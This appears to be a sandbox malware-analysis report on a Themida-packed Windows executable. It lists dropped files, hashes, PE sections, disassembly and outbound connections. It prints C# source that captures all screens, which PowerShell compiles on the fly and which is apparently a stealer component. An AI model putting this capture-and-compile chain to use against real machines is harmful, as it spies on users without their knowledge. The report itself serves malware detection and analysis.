SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vmmkcilq.51y.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2kcugpg.ksk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bifucm0t\CSCB2EB15F711B84CFFA3556DECAB136738.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0828533088292396
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryBpYak7YnqqapNPN5Dlq5J:+RI+ycuZhN7iakSajPNnqX
MD5:	2E1AC44DD09DFFFF40C62F43DE4B3CC2
SHA1:	1F78026C840CBB5344A279C8307650C00FB32E3D
SHA-256:	B98E34E858CBA9C234E0A36BB0B593F2A9530C36E43ED7EA98B5BB5AF7CFB6B8
SHA-512:	DD9AE3EB68276EF59DC83AFFE264CC1D865BE91D42E9A5B236F431BD68CEFBEEFBB6D3DF42EAC2E163137F37086E8BFF7E54FFF18C58E6468486AE714FEC9F2E
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...b.i.f.u.c.m.0.t...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...b.i.f.u.c.m.0.t...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Reputation:	unknown
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.309174708148683
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfwtWZEifwI:V3ka6KOkqeFkOfREifN
MD5:	0FEAA4EA8189A039B243B5102A2A00A8
SHA1:	D50E82EC8C0DDA85EB18EB43CA6AA1AB8D602239
SHA-256:	190561506FB72D988D13E675EA4BBDB7B674529A482B609394CADB4065201366
SHA-512:	EBAC656B0370AAE9D3866788B0EC746277F7AB3395BBC58CA055227DA7AEFA0A77047FE4D8B1611CB70AE203909219252268476975480C0FCA5C67E42149686D
Malicious:	true
Reputation:	unknown
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.0.cs"

C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.1471550848186847
Encrypted:	false
SSDEEP:	48:6r7oEAtf0KhzBU/Cf6mtJpN09tSpW1ulOa3aq:VNz0NmxO92AK
MD5:	719CF98F3AC4821BBABF7DD3B1A11C71
SHA1:	9F90E0DA18EEE79E52F8332711910157E0864CA9
SHA-256:	125D9B204E259EB552184D228BBD5CA72E713EA4A98571316BF7FA7E22E9B279
SHA-512:	BCE2C31A597F0F527174B565DA041B92E89E86F7A6592451F81173AFEE75211E1BE84533EECE412AB851B1DD726E6C75E3518C4144E952C42A2F3D33A9275381
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P4zg...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (706), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1147
Entropy (8bit):	5.483245337535983
Encrypted:	false
SSDEEP:	24:KJfWvukqd3ka6KOkqeFkOfREifIKax5DqBVKVrdFAMBJTH:uWv5ika6NkqeFkyREuIK2DcVKdBJj
MD5:	00C97A41FF5308765CB7222687DCB344
SHA1:	C937DF114F8C0DB0AF1F154B19D45DC775C004D2
SHA-256:	118AD0A421AE031920757A24556D1BA0BC65D1650A8B6678D88D734631EB3890
SHA-512:	07692479B508A5E8A128A595A8E1E3BE2CDDC329FE8BC5E0314DEF64D0997D8CA979769E02280E51FDF7177C3D69D3829EF28BFDD6BAEE949431276ABAB5E58F
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	311
Entropy (8bit):	4.782116412448049
Encrypted:	false
SSDEEP:	6:PzpLwvmWxHLTSJALTSJALTSrcsWTo6wGv+wAFeMmvVOIHJFxMVlmJHaVFEG1vv:PdLw5pTcgTcgTLs4omvtAFSkIrxMVlmo
MD5:	FEBAB6B333D59CB4A33F8A62C037B069
SHA1:	6AB2A3A813CA84362DEB97A888F2A80BA03E6E9B
SHA-256:	4AF7981B4686FA60A96081B801D8B11EBFF647CC07CDC2817D354DA84A392B69
SHA-512:	502D531BEE3B707A4F57AF6F42B9A189AD9358CB004A41552BE298957DA7F9EC8F665641B4C728B90BBFBA5BC6B9A189A3F19049D2E450CE0EFA6072DEB522EB
Malicious:	false
Reputation:	unknown
Preview:	..Pinging 760639 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 3, Received = 3, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.993792447458598
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	KpHYfxnJs6.exe
File size:	9'081'534 bytes
MD5:	41b147fd16a94a8ea6164177cf91733c
SHA1:	f586388782d636b286ef606de997087f451fe11f
SHA256:	6a595507f7b92e6af81d2c67f310629a552de261ed6e6e2a2170b71a7503ed31
SHA512:	c15b8cc463186471a12431131d90733f9389d2eded969ee056b1bfe391ab255fc88c4f1b896e05dc6d4f94cba82bf066316fca489047781e13ddfd522e9e5da0
SSDEEP:	196608:lPWgT2X83i4bCFRu3TN9hoy6Enwc4GgpG0REtHIrq7L3mrbW3jmy+:lDKXe0c3jWyotGgpGLtz7bmrbmyJ
TLSH:	9296331696F24C81D09328BAE469BD9507716B055FC22FB0E66F6343C04F3385E76ABE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................................C%......C.......C.......C..................+....B.......B......Rich...................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x88c058
Entrypoint Section:	.boot
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6779EE8D [Sun Jan 5 02:29:33 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a413ffcb413e398d1f798a0daa527855

Entrypoint Preview

Instruction
call 00007FD46CBE7670h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007FD46CBE750Ch
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007FD46CBE7573h
xor eax, eax
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007FD46CBE7607h
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007FD46CBE752Ah
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007FD46CBE74BBh
mov eax, 00000001h
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007FD46CBE750Ch
sub eax, ebx
mov ebx, 00000001h
jne 00007FD46CBE754Ah
mov ecx, 00000001h
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007FD46CBE7527h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007FD46CBE750Ch
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e083	0xa4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3f000	0x950	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x26224	0x16800	fd694dd45a4b04a8bbbf98600e09367e	False	0.9997178819444444	OpenPGP Public Key	7.970952206496813	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x28000	0xd8d2	0x7a00	054d3a0f495771bee612675e6dca2199	False	0.9841188524590164	data	7.935438613469344	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x36000	0x48e4	0x200	808aba42bb9c184f932e258fb926c4c5	False	0.93359375	data	7.011148749822864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x3b000	0x94c	0x600	db2985095e26f6072509799f1e129852	False	0.78515625	data	6.594909833488607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x3c000	0x1ea4	0x1c00	b7cfe11e640d100aa9e3226902e917ee	False	0.9835379464285714	data	7.861185148745885	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x3e000	0x1000	0x200	23fa6391fbf2c8599d965f756bd54553	False	0.32421875	data	2.4842952593420575	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3f000	0x1000	0xa00	3538a3b76aecf666de9cd2f4c3fa0cca	False	0.422265625	data	4.694891787958566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.themida	0x40000	0x44c000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x48c000	0x2bac00	0x2bac00	05f7d59d13a919acc25f7f4a6e7e652c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x3f090	0x39c	data			0.4512987012987013
RT_MANIFEST	0x3f43c	0x50d	XML 1.0 document, ASCII text	English	United States	0.4694508894044857

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
USER32.dll	CreateWindowExW
COMCTL32.dll
ADVAPI32.dll	OpenProcessToken
GDI32.dll	SelectObject

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 07:19:25.401186943 CET	49904	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:25.406603098 CET	80	49904	208.95.112.1	192.168.2.4
Jan 5, 2025 07:19:25.406666040 CET	49904	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:25.406873941 CET	49904	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:25.411628008 CET	80	49904	208.95.112.1	192.168.2.4
Jan 5, 2025 07:19:25.866300106 CET	80	49904	208.95.112.1	192.168.2.4
Jan 5, 2025 07:19:25.867151022 CET	49904	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:25.872113943 CET	80	49904	208.95.112.1	192.168.2.4
Jan 5, 2025 07:19:25.872309923 CET	49904	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:58.409231901 CET	50006	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:58.414082050 CET	80	50006	208.95.112.1	192.168.2.4
Jan 5, 2025 07:19:58.416135073 CET	50006	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:58.416261911 CET	50006	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:58.421030998 CET	80	50006	208.95.112.1	192.168.2.4
Jan 5, 2025 07:19:58.889084101 CET	80	50006	208.95.112.1	192.168.2.4
Jan 5, 2025 07:19:58.938013077 CET	50006	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:19:59.204547882 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.204576015 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.204643965 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.230957985 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.230983973 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.689678907 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.691194057 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.691231012 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.692553997 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.692612886 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.695322990 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.695405006 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.695698977 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.695713043 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.695982933 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.696024895 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.696070910 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.696077108 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.696218014 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.696249962 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.696391106 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.696405888 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.696608067 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.696624041 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.696909904 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.697160006 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.697427988 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.697650909 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.697756052 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.697827101 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.697839975 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.698076963 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.698091984 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.698379993 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.698393106 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.698592901 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.698606014 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.698821068 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.698832989 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.699057102 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.699069023 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.699296951 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.699316978 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.699517012 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.699527979 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.699776888 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.699796915 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.700007915 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.700021982 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.700261116 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.700272083 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.700757980 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.700768948 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.700786114 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.700795889 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.700932026 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.700943947 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.701153040 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.701165915 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.701406002 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.701417923 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.701658964 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.701673031 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.701891899 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.702115059 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.702367067 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.702591896 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.702847004 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.706135035 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.706475973 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.706502914 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.706892967 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.706914902 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.707137108 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.707149982 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.707541943 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.707554102 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.707873106 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.708081961 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.708343983 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.708734035 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.708956957 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.710988998 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.711337090 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.711361885 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.711627007 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.711651087 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.713449001 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.713474035 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.713792086 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.713807106 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:19:59.714076996 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.714791059 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.715158939 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.715532064 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.715655088 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:19:59.716702938 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:20:00.356528044 CET	443	50007	162.159.137.232	192.168.2.4
Jan 5, 2025 07:20:00.356610060 CET	443	50007	162.159.137.232	192.168.2.4
